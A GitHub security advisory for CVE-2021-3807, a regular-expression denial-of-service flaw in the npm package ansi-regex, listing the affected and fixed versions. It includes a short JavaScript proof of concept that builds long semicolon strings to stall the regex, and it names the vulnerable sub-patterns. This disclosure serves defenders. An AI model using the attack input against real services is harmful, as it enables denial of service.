GitHub Advisoryadvisory · npm

GHSA-93q8-gq69-wqmw Inefficient Regular Expression Complexity in chalk/ansi-regex

HIGH Published 2021-09-20 Modified 2023-09-11 Official page ↗
Aliases
CVE-2021-3807
Ecosystem
npm
Packages
ansi-regex
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333, CWE-697
Reviewed
2021-09-20

Affected packages

• npm ansi-regex: >= 6.0.0, < 6.0.1 → fixed in 6.0.1 • npm ansi-regex: >= 5.0.0, < 5.0.1 → fixed in 5.0.1 • npm ansi-regex: >= 4.0.0, < 4.1.1 → fixed in 4.1.1 • npm ansi-regex: >= 3.0.0, < 3.0.1 → fixed in 3.0.1

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. Proof of Concept ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B"+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

Related

Alias · CVE (1)

  • CVE-2021-3807 ansi-regex is vulnerable to Inefficient Regular Expression Complexity vulnerability

Weakness · CWE (2)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-697 Incorrect Comparison weakness

References